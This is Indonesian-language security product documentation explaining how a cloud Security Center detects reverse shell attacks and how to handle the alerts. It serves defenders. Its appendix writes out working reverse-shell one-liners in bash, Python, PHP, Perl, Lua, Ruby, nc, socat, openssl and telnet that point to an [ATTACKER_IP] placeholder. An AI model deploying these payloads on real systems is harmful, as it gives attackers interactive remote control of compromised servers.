All Products
Search
Document Center

Security Center:Mendeteksi dan menangani serangan reverse shell

Last Updated:Dec 26, 2025

Fitur deteksi reverse shell di Security Center menggunakan analisis multi-dimensi untuk mengatasi keterbatasan metode tradisional dalam mendeteksi serangan yang beragam dan tersembunyi. Fitur ini mengidentifikasi serta menghasilkan peringatan keamanan untuk berbagai jenis serangan reverse shell, membantu Anda menemukan dan merespons intrusi server serta melindungi aset cloud Anda.

Apa itu reverse shell

Reverse shell adalah teknik intrusi server yang umum. Setelah penyerang mendapatkan akses awal ke server melalui eksploitasi kerentanan atau penggunaan kata sandi lemah, mereka biasanya menyebarkan reverse shell. Hal ini membangun saluran komunikasi tersembunyi yang menghubungkan dari server yang telah dikompromikan (client) ke server kendali penyerang (server-side).

Metode serangan ini menimbulkan dua ancaman utama:

  • Bypass pembatasan firewall: Karena koneksi berasal dari dalam server, koneksi tersebut dapat melewati firewall yang hanya membatasi lalu lintas inbound. Hal ini memungkinkan penyerang mengeksekusi perintah jarak jauh.

  • Membangun kontrol persisten: Penyerang dapat memperoleh shell interaktif untuk mendapatkan full control atas server. Hal ini memungkinkan mereka mencuri data, menginstal ransomware, melakukan lateral movement, atau menggunakan server sebagai landasan untuk menyerang sistem lain.

Cara kerja

Pendekatan inti

Untuk menghadang serangan reverse shell yang kompleks dan terus berkembang, Security Center melampaui metode tradisional yang bergantung pada pencocokan fitur tunggal. Security Center membangun sistem deteksi generasi berikutnya yang berlapis berdasarkan prinsip inti berikut:

  • Melampaui signature tradisional: Fokus pada perilaku dasar serangan, bukan fitur statis yang tidak stabil seperti ekspresi reguler.

  • Pengumpulan data multi-dimensi: Agen host digunakan untuk mengumpulkan data real-time yang komprehensif, termasuk informasi proses, file, jaringan, dan panggilan kernel.

  • Analisis cerdas berbasis cloud: Platform big data berbasis cloud digunakan untuk analisis asosiasi dan pemodelan perilaku pada dataset skala besar guna memungkinkan validasi silang.

Sistem defense in depth ini, yang menggabungkan deteksi cloud dan endpoint, secara akurat dan efisien mendeteksi serangan yang dikenal maupun tidak dikenal, sehingga meningkatkan tingkat deteksi dan akurasi secara keseluruhan.

Teknologi deteksi utama

Sistem deteksi Security Center terdiri dari beberapa teknologi utama yang merekonstruksi perilaku serangan dari dimensi berbeda untuk memungkinkan validasi silang.

  • Analisis file descriptor (FD)

    • Prinsip dan metode deteksi: Memantau file descriptor proses secara real time. Jika input standar, output, atau error dari proses shell dialihkan ke socket jaringan, peringatan akan segera dipicu.

    • Target deteksi utama: Reverse shell yang diluncurkan langsung dengan perintah seperti bash -i >& /dev/tcp/... yang menggunakan pengalihan I/O.

  • Analisis urutan perintah abnormal

    • Prinsip dan metode deteksi: Menetapkan garis dasar urutan perintah normal untuk server menggunakan platform big data. Ketika urutan abnormal yang sesuai dengan pola serangan yang dikenal—seperti reconnaissance atau privilege escalation—terdeteksi, perilaku tersebut ditandai sebagai berisiko tinggi.

    • Target deteksi utama: Reverse shell yang diimplementasikan melalui bahasa skrip seperti Python atau Perl yang tidak memiliki fitur proses shell yang jelas, serta perilaku lateral movement berikutnya.

  • Analisis rantai startup proses abnormal

    • Prinsip dan metode deteksi: Menganalisis secara komprehensif hubungan induk-anak proses, parameter startup, konteks pengguna, dan perilaku historis untuk mengidentifikasi shell non-interaktif yang diluncurkan oleh proses induk abnormal, seperti layanan web.

    • Target deteksi utama: Reverse shell yang dipicu oleh kerentanan web dan disembunyikan dalam lalu lintas layanan normal.

  • Analisis mendalam file berbahaya

    • Prinsip dan metode deteksi:

      • Sandbox skrip: Melakukan pelacakan dinamis dan dekompilasi statis pada skrip persisten seperti Bash, Python, dan JAR untuk mengidentifikasi logika berbahaya dalam kode yang diobfuscate.

      • Sandbox biner: Menganalisis fungsi yang diimpor, struktur kode, dan perilaku dinamis—seperti konektivitas jaringan—pada program terkompilasi seperti C/C++, Go, dan Meterpreter.

    • Target deteksi utama: Trojan skrip yang sangat diobfuscate atau dienkripsi. Program reverse shell terkompilasi yang ditulis dalam C/C++, Go, atau dihasilkan oleh Meterpreter.

  • Deteksi fitur traffic jaringan adversarial

    • Prinsip dan metode deteksi: Menganalisis traffic jaringan untuk fitur komunikasi shell interaktif dan mendeteksi perilaku penghindaran umum, seperti mengganti shell sistem atau encoding perintah.

    • Target deteksi utama: Berfungsi sebagai metode tambahan untuk meningkatkan cakupan pola serangan dan teknik penghindaran yang dikenal.

Rencana respons

Alur kerja perlindungan reverse shell yang lengkap mencakup tiga tahap: mengaktifkan deteksi, menganalisis peringatan, dan melakukan tanggap darurat.

Aktifkan deteksi reverse shell

Jika Anda telah berlangganan edisi berbayar Security Center dan agen telah diinstal serta online di server target, deteksi reverse shell diaktifkan secara default. Tidak diperlukan konfigurasi manual.

Analisis dan interpretasi peringatan

Ketika Security Center mendeteksi aktivitas reverse shell yang mencurigakan, Anda dapat menuju halaman CTDR > Alert atau Detection and Response > Alert. Temukan peringatan reverse shell dan buka halaman detailnya. Saat menganalisis peringatan, fokuslah pada informasi berikut:

  • Tingkat Ancaman: Biasanya penting. Ancaman pada tingkat ini memerlukan perhatian dan penanganan segera.

  • Informasi Proses: Menampilkan path proses dan parameter command-line yang memicu peringatan. Informasi ini sangat penting untuk menentukan apakah perilaku tersebut berbahaya. Misalnya, proses /bin/bash -i yang dimulai oleh pengguna www-data merupakan indikator risiko tinggi yang khas.

  • Informasi Proses Induk: Menyediakan sumber proses mencurigakan, yang membantu melacak jalur serangan. Misalnya, jika proses induk adalah server web seperti Apache atau Nginx, serangan kemungkinan berasal dari kerentanan web.

  • Informasi Koneksi Outbound: Jika tersedia, bagian ini menunjukkan alamat IP dan port remote yang dihubungi oleh proses mencurigakan. Alamat IP ini adalah server kendali penyerang.

Penanganan peringatan

Pada halaman detail peringatan, Anda dapat mengambil tindakan berikut berdasarkan kebutuhan bisnis dan penilaian risiko. Untuk informasi lebih lanjut, lihat Analisis dan penanganan peringatan keamanan.

  • Virus Detection and Removal: Segera menghentikan proses virus dan memindahkan file virus ke area karantina. File yang dikarantina tidak dapat dieksekusi, diakses, atau disebarluaskan. Ini adalah solusi satu-klik yang paling menyeluruh.

  • Quarantine: Hanya memindahkan file mencurigakan ke area karantina, sehingga mencegahnya berjalan. Operasi ini tidak segera menghentikan proses yang sedang berjalan.

  • End Process: Segera menghentikan proses berbahaya yang terkait dengan peringatan untuk memutus serangan secara cepat.

  • Add to Whitelist: Jika investigasi Anda memastikan bahwa peringatan tersebut merupakan false positive yang dipicu oleh skrip O&M atau bisnis normal, Anda dapat menambahkan peringatan tersebut ke daftar putih.

    Catatan

    Anda dapat mengatur aturan daftar putih berdasarkan path file, hash MD5, atau kriteria lain untuk mencegah kejadian serupa menghasilkan peringatan lagi.

Penguatan keamanan

  1. Blokir koneksi jaringan

    • Anda dapat menemukan alamat IP penyerang di detail peringatan.

    • Anda dapat mengonfigurasi kebijakan security group untuk menolak semua akses dari alamat IP ini baik dalam arah inbound maupun outbound. Hal ini sepenuhnya memutus koneksi penyerang.

  2. Hapus back door persisten

    Penyerang biasanya menyiapkan mekanisme persistensi untuk mempertahankan kontrol, sehingga Anda perlu login ke server untuk investigasi:

    • Periksa tugas terjadwal: Anda dapat menjalankan crontab -l -u <user>, di mana <user> adalah pengguna yang menjalankan proses mencurigakan, seperti root atau www-data, untuk memeriksa adanya tugas terjadwal mencurigakan. Jika ditemukan, Anda dapat menggunakan crontab -e untuk mengedit file dan menghapus entri berbahaya tersebut.

    • Hapus file berbahaya: Anda dapat menggunakan path file yang disediakan dalam peringatan untuk menemukan dan menghapus skrip atau file biner berbahaya di server.

  3. Lakukan pemindaian penuh dan perkuat server

    • Di konsol Security Center, Anda dapat menggunakan fitur Protection Configuration > Host Protection > Virus Detection and Removal untuk melakukan pemindaian file penuh dan deteksi back door pada server guna memastikan tidak ada file berbahaya tersembunyi lainnya.

    • Anda dapat memeriksa dan memperbaiki kerentanan keamanan di server untuk menghilangkan titik masuk serangan.

Biaya dan risiko

  • Struktur biaya: Fitur deteksi reverse shell termasuk dalam edisi berbayar Security Center dan tidak dikenakan biaya tambahan. Untuk melakukan analisis mendalam terhadap log layanan Anda, Anda harus membeli fitur nilai tambah Log Management atau Log Analysis.

  • Risiko utama:

    • Selama tanggap darurat, tindakan seperti menghentikan proses atau memodifikasi konfigurasi dapat memengaruhi operasi bisnis normal. Kami sangat menyarankan agar Anda membuat snapshot server sebagai cadangan sebelum melakukan perubahan apa pun.

    • Meskipun Security Center menyediakan deteksi multi-dimensi, tidak ada solusi deteksi yang sempurna. Serangan 0-day yang sangat disesuaikan dan menggunakan teknik tidak dikenal masih dapat melewati deteksi. Oleh karena itu, defense in depth sama pentingnya. Hal ini mencakup segera memperbaiki kerentanan, menerapkan prinsip least privilege, dan menegakkan kebijakan jaringan yang ketat.

Lampiran: Klasifikasi dan contoh reverse shell

Perintah dan potongan kode berikut adalah contoh serangan reverse shell umum yang tersedia luas di sumber publik. Kami menyediakannya di sini hanya untuk mengilustrasikan cakupan dan prinsip deteksi Security Center serta membantu personel keamanan mengonfigurasi perlindungan dan memverifikasi keamanan.

Peringatan
  • Contoh berikut hanya disediakan untuk mengilustrasikan cakupan dan metode deteksi Security Center dalam skenario serangan jenis ini. Hal ini membantu personel keamanan memahami peringatan dan memverifikasi efektivitas perlindungan.

  • Jangan menggunakan atau mengeksekusi kode contoh ini di lingkungan yang tidak sah. Anda bertanggung jawab penuh atas segala pelanggaran hukum, risiko, dan kewajiban yang timbul.

Tipe 1: Pengalihan I/O langsung

  • Prinsip inti: Reverse shell jenis ini berkomunikasi dengan mengalihkan input standar, output standar, dan error standar dari bash -i ke /dev/tcp Socket.

    image
  • Pendekatan deteksi: Analisis file descriptor (FD). Ini memantau tabel FD proses untuk mendeteksi apakah I/O standar proses shell dialihkan ke socket jaringan.

  • Contoh skenario deteksi:

    • Contoh 1:

      # Contoh 1 (pengalihan I/O bash):
      bash -i >& /dev/tcp/[ATTACKER_IP]/[PORT] 0>&1
      • Deskripsi perilaku:

        • Menggunakan fitur /dev/tcp untuk membangun koneksi TCP ke host jarak jauh.

        • Mengalihkan input standar, output, dan error bash ke koneksi jaringan ini untuk mencapai shell interaktif jarak jauh.

      • Asosiasi deteksi: Melalui analisis FD, Security Center menemukan bahwa file descriptor 0/1/2 dari proses /bin/bash mengarah ke socket jaringan, yang memicu peringatan reverse shell.

    • Contoh 2:

      # Pengalihan Python:
      python -c '
        import socket, subprocess, os
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("[ATTACKER_IP]", [PORT]))
        os.dup2(s.fileno(), 0)  # Redirect stdin ke socket
        os.dup2(s.fileno(), 1)  # Redirect stdout ke socket
        os.dup2(s.fileno(), 2)  # Redirect stderr ke socket
        subprocess.call(["/bin/sh", "-i"])
        '
      • Deskripsi perilaku:

        • Aktif terhubung ke host jarak jauh menggunakan Python dan mengalihkan input standar, output, dan error proses saat ini ke koneksi tersebut.

        • Kemudian, memulai /bin/sh -i sebagai proses anak untuk membangun shell interaktif.

      • Asosiasi deteksi:

        • Analisis FD menangkap hubungan pengalihan antara /bin/sh dan socket.

        • Analisis rantai proses abnormal mengidentifikasi proses shell interaktif yang dimulai oleh python sebagai perilaku berisiko tinggi.

    • Contoh 3:

      # Reverse shell PHP
      php -r '$sock=fsockopen("[ATTACKER_IP]",[PORT]);exec("/bin/sh -i <&3 >&3 2>&3");'
      • Deskripsi perilaku:

        • Aktif terhubung ke host jarak jauh menggunakan fungsi PHP fsockopen. Koneksi ini memperoleh file descriptor (biasanya 3).

        • Kemudian, mengeksekusi proses /bin/sh -i dan secara eksplisit mengalihkan input standar, output standar, dan error standarnya ke file descriptor 3. Hal ini mengikat shell interaktif ke koneksi jaringan yang telah dibangun.

      • Asosiasi deteksi:

        • Analisis FD menangkap hubungan pengalihan antara /bin/sh dan socket (FD 3). Artinya, input standar, output, dan error semuanya mengarah ke koneksi jaringan, bukan terminal atau file biasa.

        • Analisis rantai proses abnormal menemukan bahwa proses php memulai /bin/sh interaktif menggunakan exec, dan I/O shell tersebut diikat ke socket jaringan eksternal. Rantai proses "interpreter skrip → koneksi jarak jauh → shell interaktif" ini merupakan karakteristik perilaku remote control berisiko tinggi.

    • Contoh 4:

      # Contoh pengalihan Perl
      perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
      • Deskripsi perilaku:

        • Menggunakan modul Socket Perl untuk membuat socket TCP dan aktif terhubung ke [ATTACKER_IP]:[PORT].

        • Setelah koneksi berhasil, mengalihkan STDIN, STDOUT, dan STDERR proses saat ini ke handle socket S. Kemudian, memulai shell interaktif menggunakan exec("/bin/sh -i").

      • Asosiasi deteksi:

        • Analisis FD menemukan bahwa input standar, output, dan error dari /bin/sh semuanya mengarah ke socket jaringan yang sama (S) alih-alih terminal atau file biasa. Hal ini menunjukkan hubungan pengalihan yang jelas antara "shell-ke-socket".

        • Analisis rantai proses abnormal menemukan rantai perilaku di mana proses perl membuat dan terhubung ke socket jarak jauh, lalu mengeksekusi /bin/sh -i. Ini adalah reverse shell berbasis skrip, yang merupakan pola remote control berisiko tinggi.

    • Contoh 5:

      # Contoh pengalihan Lua
      lua -e 
      "require('socket');require('os');t=socket.tcp();t:connect('[ATTACKER_IP]','[PORT]');os.execute('/bin/sh -i <&3 >&3 2>&3');"
      • Deskripsi perilaku:

        • Aktif terhubung ke host jarak jauh menggunakan library socket Lua. Koneksi ini memperoleh file descriptor (biasanya 3).

        • Menjalankan perintah eksternal /bin/sh -i menggunakan os.execute dan secara eksplisit mengalihkan input standar, output, dan error-nya ke file descriptor tersebut. Hal ini membangun reverse shell interaktif.

      • Asosiasi deteksi:

        • Analisis FD menangkap hubungan pengalihan input/output antara /bin/sh dan socket jaringan (FD 3). Hal ini menunjukkan bahwa seluruh I/O shell terikat pada koneksi TCP.

        • Analisis rantai proses abnormal mengidentifikasi proses shell interaktif yang dimulai oleh interpreter lua sebagai perilaku berisiko tinggi.

Tipe 2: Perantara melalui pipe atau pseudo-terminal

  • Prinsip inti: Jenis ini menggunakan pipe atau pseudo-terminal (PTY) sebagai perantara. I/O shell pertama kali dialihkan ke perantara, lalu proses lain menghubungkan perantara tersebut ke socket jaringan. Dalam beberapa variasi, data dapat melewati beberapa lapisan perantara, yang akhirnya membentuk saluran komunikasi remote control lengkap.

    image
  • Pendekatan deteksi: Pelacakan tautan FD dan analisis hubungan proses. Lacak tautan FD lengkap tempat aliran data mengalir untuk mengidentifikasi rantai proses abnormal yang terhubung ke socket jaringan melalui pipe atau PTY.

  • Contoh skenario deteksi:

    • Contoh 1:

      # Perantara menggunakan named pipe dan saluran terenkripsi
      mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect [ATTACKER_IP]:666 > /tmp/f
      • Deskripsi perilaku:

        • Menggunakan mkfifo untuk membuat named pipe /tmp/revpipe, yang berfungsi sebagai perantara untuk input dan output shell.

        • Input untuk /bin/sh -i berasal dari pipe ini, dan output-nya dikirim ke host jarak jauh melalui openssl s_client.

        • Hal ini membentuk tautan perantara berlapis: "Shell ↔ Pipe ↔ Koneksi jaringan terenkripsi".

      • Asosiasi deteksi:

        Security Center menggunakan pelacakan tautan FD dan analisis hubungan proses untuk mengidentifikasi bahwa /bin/sh dan openssl terhubung melalui pipe yang akhirnya mengarah ke socket jarak jauh. Hal ini mengungkap perilaku reverse shell.

    • Contoh 2:

      # Contoh campuran nc / socat
      # Gunakan netcat untuk terhubung ke host jarak jauh
      nc [ATTACKER_IP] 5050
      
      # Gunakan netcat untuk mengeksekusi /bin/bash
      nc -e /bin/bash [ATTACKER_IP] 6060
      
      # Gunakan netcat dan bash untuk membuat reverse shell interaktif
      nc -c bash [ATTACKER_IP] 6060
      
      # Gunakan socat untuk membuat pseudo-terminal dan terhubung ke host jarak jauh
      socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[ATTACKER_IP]:6060
      • Deskripsi perilaku:

        • Tool seperti nc dan socat dapat langsung mengaitkan shell lokal dengan koneksi TCP jarak jauh untuk membentuk reverse shell.

        • Ketika menggunakan parameter pty untuk membuat pseudo-terminal, perilakunya lebih mirip sesi terminal normal, yang meningkatkan kesulitan deteksi.

      • Asosiasi deteksi:

        • Pelacakan tautan FD mengidentifikasi tautan pipe atau pseudo-terminal antara shell dan socket jaringan.

        • Untuk skenario yang menggunakan pty, diperlukan analisis komprehensif terhadap hubungan induk-anak proses dan pola akses jaringan.

    • Contoh 3:

      # Named pipe mknod 
      mknod backpipe p; nc [ATTACKER_IP] 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
      • Deskripsi perilaku: 

        • Menggunakan mknod backpipe p untuk membuat named pipe `backpipe` sebagai perantara untuk input/output shell.

        • Proses nc terhubung ke host jarak jauh, dan input-nya dialihkan dari pipe ini.

        • nc [ATTACKER_IP] 6060 0<backpipe menggunakan `backpipe` sebagai input standar untuk `nc`, menerima perintah dari ujung jarak jauh dan menuliskannya ke pipe.

        • Output standar dan error dari /bin/bash keduanya dialihkan ke `backpipe`, yang kemudian dikirim ke ujung jarak jauh oleh `nc`.

      • Asosiasi deteksi:

        • Pelacakan tautan FD dapat menemukan bahwa /bin/bash dan nc terkait melalui named pipe dan akhirnya terhubung ke socket jarak jauh.

        • File named pipe (seperti `backpipe`) yang dibuka secara bersamaan oleh shell dan tool jaringan merupakan tautan berisiko tinggi.

        • Sistem membuat keputusan dengan menggabungkan hubungan induk-anak proses (seperti `nc`/`bash` yang dimulai oleh layanan web atau tugas terjadwal) dengan perilaku koneksi outbound abnormal.

    • Contoh 4:

      # Bangun koneksi menggunakan file bawaan Bash
      bash -c 'exec 5<>/dev/tcp/[ATTACKER_IP]/6060;cat <&5|while read line;do $line >&5 2>&1;done'
      • Deskripsi perilaku:

        • Menggunakan pseudo-file bawaan Bash /dev/tcp untuk langsung membangun koneksi TCP ke port 6060 pada host jarak jauh dan mengikatnya ke file descriptor 5.

        • cat <&5 membaca perintah dari socket jarak jauh, yang diteruskan melalui pipe ke loop while read line; do $line ... untuk dieksekusi.

        • Output standar dan error setiap perintah dialihkan kembali ke FD 5, koneksi TCP asli, dan dikembalikan ke ujung jarak jauh.

        • Perilaku keseluruhan adalah implementasi murni Bash dari "saluran TCP bawaan + loop eksekusi perintah", yaitu perilaku remote control/reverse tanpa tool eksternal yang jelas.

      • Asosiasi deteksi:

        • Analisis FD menemukan bahwa proses Bash secara langsung memegang FD socket yang mengarah ke alamat IP/port jarak jauh (dibangun melalui /dev/tcp).

        • Analisis urutan perintah abnormal: Proses Bash tunggal mempertahankan koneksi outbound jangka panjang dan mengeksekusi banyak perintah sistem.

    • Contoh 5:

      telnet [ATTACKER_IP] 6060 | /bin/bash | telnet[ATTACKER_IP] 5050
      • Deskripsi perilaku:

        • Hal ini membuat saluran relay perintah, menghubungkan dua proses telnet dan satu proses bash dengan dua pipe.

        • Proses telnet pertama menerima perintah dari host jarak jauh dan meneruskannya ke bash untuk dieksekusi.

        • Hasil eksekusi bash kemudian dikirim ke alamat jarak jauh lain melalui proses telnet kedua.

        • Input dan output ditangani melalui koneksi jaringan berbeda. Metode ini dapat digunakan untuk menyembunyikan endpoint kendali sebenarnya atau melakukan forwarding multi-hop, sehingga mempersulit pelacakan dan deteksi.

      • Deteksi Asosiasi:

        • Analisis rantai proses abnormal mengungkap hubungan pemanggilan yang sangat tidak biasa: telnet -> bash -> telnet.

        • Untuk tool interaktif tradisional seperti telnet, deteksi menggabungkan rantai proses (proses telnet yang melewati dan menempel pada bash) dengan pola abnormal pada alamat IP atau port tujuan.

        • Hubungan pipe jangka panjang antara proses bash dan proses jaringan, tanpa TTY terminal lokal yang sesuai, ditandai sebagai sesi shell jarak jauh mencurigakan.

    • Contoh 6: Menggunakan pseudo-terminal sebagai perantara. Jenis ini lebih sulit dideteksi dan memerlukan analisis kontekstual komprehensif.

      # Perantara menggunakan pseudo-terminal Python
      python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKER_IP]",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
      • Deskripsi perilaku:

        • Setelah menyelesaikan pengalihan FD, alih-alih langsung mengeksekusi /bin/sh -i, ia memulai bash dalam pseudo-terminal menggunakan pty.spawn.

        • Pseudo-terminal membuat reverse shell berperilaku lebih seperti sesi login nyata (seperti SSH atau screen), sehingga meningkatkan stealth-nya.

      • Asosiasi deteksi:

        • Analisis FD masih dapat mengidentifikasi asosiasi antara bash dan socket jaringan.

        • Pada saat yang sama, harus dikombinasikan dengan konteks proses (proses induk adalah Python) dan pola komunikasi jaringan untuk menghindari kebingungan dengan terminal O&M normal.

Tipe 3: Eksekusi tertanam dalam bahasa skrip

  • Prinsip inti: Logika diimplementasikan dalam bahasa skrip seperti Python atau Ruby, alih-alih menggunakan fitur pengalihan shell secara langsung. Kode menerima perintah jaringan, memanggil fungsi seperti subprocess atau exec untuk mengeksekusinya, lalu mengirimkan hasilnya kembali.

  • Pendekatan deteksi: Analisis urutan perilaku dan model startup abnormal. Karena logika serangan dibungkus dalam kode, diperlukan deteksi tingkat lebih tinggi. Ancaman dideteksi dengan menganalisis urutan perintah abnormal—seperti perilaku reconnaissance setelah mendapatkan shell—atau dengan mengidentifikasi shell yang dimulai oleh proses induk abnormal seperti layanan web.

  • Contoh skenario deteksi:

    • Contoh 1:

      # Loop eksekusi perintah tertanam Python
        python -c '
        import socket, subprocess
        s = socket.socket()
        s.connect(('[ATTACKER_IP]', [PORT]))
        while True:
            cmd = s.recv(1024)                       # Terima perintah dari host jarak jauh
            proc = subprocess.Popen(
                cmd,
                shell=True,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                stdin=subprocess.PIPE
            )
            s.send(proc.stdout.read() + proc.stderr.read())  # Kirim kembali hasil eksekusi perintah
        '
      • Deskripsi perilaku:

        Tidak secara eksplisit memulai proses shell. Sebaliknya, dalam proses Python:

        • Terus-menerus membaca perintah dari koneksi jaringan.

        • Menjalankan perintah sistem menggunakan subprocess.Popen.

        • Mengirim output standar dan error kembali ke host jarak jauh melalui jaringan.

        • Secara eksternal, berperilaku seperti "koneksi persisten + mesin eksekusi perintah", yang lebih dekat dengan pola perilaku trojan atau program remote control.

      • Asosiasi deteksi:

        Jenis serangan ini sering kali tidak memiliki fitur pengalihan shell eksplisit dan lebih bergantung pada:

        • Analisis urutan perintah abnormal: Seperti mengeksekusi banyak perintah reconnaissance atau privilege escalation dalam waktu singkat.

        • Analisis rantai startup proses abnormal: Jika proses induk proses Python adalah komponen yang tidak diharapkan—seperti server web—maka ditandai sebagai berisiko tinggi.

    • Contoh 2:

      # Loop eksekusi perintah tertanam Lua
      lua5.1 -e 'local host, port = "[ATTACKER_IP]", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
      • Perilaku:

        • Proses Lua menggunakan library socket untuk aktif terhubung ke host jarak jauh dan membangun koneksi persisten.

        • Dalam loop, proses terus-menerus menerima perintah dari koneksi jaringan dan memanggil io.popen untuk membuat proses anak guna mengeksekusi setiap perintah.

        • Proses mengirimkan hasil eksekusi perintah lengkap kembali ke host jarak jauh. Pola perilaku ini sangat mirip dengan Contoh 1 dan menciptakan back door eksekusi perintah jarak jauh berbasis Lua.

      • Asosiasi deteksi:

        • Analisis urutan perintah abnormal: Memantau perintah berurutan yang dieksekusi dalam periode singkat untuk menentukan apakah urutannya sesuai dengan pola serangan seperti reconnaissance atau privilege escalation.

        • Analisis rantai startup proses abnormal: Menandai proses Lua sebagai berisiko tinggi jika dimulai oleh proses induk yang tidak diharapkan seperti server web (OpenResty atau Nginx).

    • Contoh 3:

      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[ATTACKER_IP]","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
      • Deskripsi perilaku: Skrip Ruby ini dirancang untuk stealth.

        • Pertama, skrip menggunakan exit if fork untuk membuat proses anak dan mengakhiri proses induk. Hal ini memungkinkan proses back door berjalan di latar belakang, terlepas dari terminal saat ini.

        • Proses anak kemudian terhubung ke host jarak jauh, menerima perintah dalam loop, mengeksekusinya menggunakan IO.popen, dan mengirimkan hasilnya kembali. Teknik "backgrounding" ini merupakan teknik persistensi dan stealth yang khas.

      • Asosiasi deteksi:

        • Analisis perilaku proses abnormal: Fokus pada perilaku di mana proses induk keluar segera setelah fork. Ini adalah karakteristik khas program trojan yang menjadi proses daemon latar belakang.

        • Analisis rantai startup proses abnormal: Menganalisis hubungan antara proses Ruby latar belakang dan proses induknya.

        • Analisis urutan perintah abnormal: Melakukan analisis asosiasi pada perintah berikutnya yang dieksekusi.

FAQ

  • Mengapa metode deteksi tradisional sering gagal?

    Metode deteksi umum menggunakan ekspresi reguler untuk mengekstraksi fitur dari perintah reverse shell dan mencocokkannya dengan log perintah dan log traffic. Metode ini memiliki tiga keterbatasan utama:

    • Pengumpulan log tidak lengkap: Saat operator pipe atau pengalihan digunakan, metode pengumpulan log konvensional mungkin gagal mencatat perintah serangan lengkap.

    • Aturan mudah dilewati: Penyerang dapat menggunakan encoding, obfuscation, atau teknik lain untuk melewati aturan berbasis string tetap atau ekspresi reguler.

    • Traffic terenkripsi: Jika traffic serangan dienkripsi, metode deteksi berbasis fitur jaringan menjadi tidak efektif.

  • Apakah deteksi reverse shell Security Center dapat mencapai akurasi 100%?

    Tidak, tidak bisa. Tidak ada solusi deteksi reverse shell yang dapat menjamin akurasi 100%. Teknologi serangan dan pertahanan terus berkembang. Reverse shell tingkat lanjut yang diimplementasikan dalam bahasa pemrograman—seperti pada Tipe 3—sangat sulit dideteksi karena perilakunya menyerupai skrip bisnis normal. Security Center meningkatkan tingkat deteksi dan akurasi melalui deteksi multi-dimensi dan model perilaku abnormal, tetapi keamanan tetap merupakan proses adversarial yang berkelanjutan.

  • Mengapa reverse shell yang menggunakan pseudo-terminal (PTY) lebih sulit dideteksi?

    Dari perspektif proses shell, input dan output-nya dialihkan ke perangkat pseudo-terminal. Perilaku ini mirip dengan login SSH normal, sesi screen, atau terminal di lingkungan container. Hal ini menyulitkan pembedaan antara perilaku berbahaya dan operasi O&M normal. Security Center melakukan analisis komprehensif dengan menggabungkan log dari berbagai dimensi seperti proses dan jaringan untuk menyeimbangkan false negative dan false positive.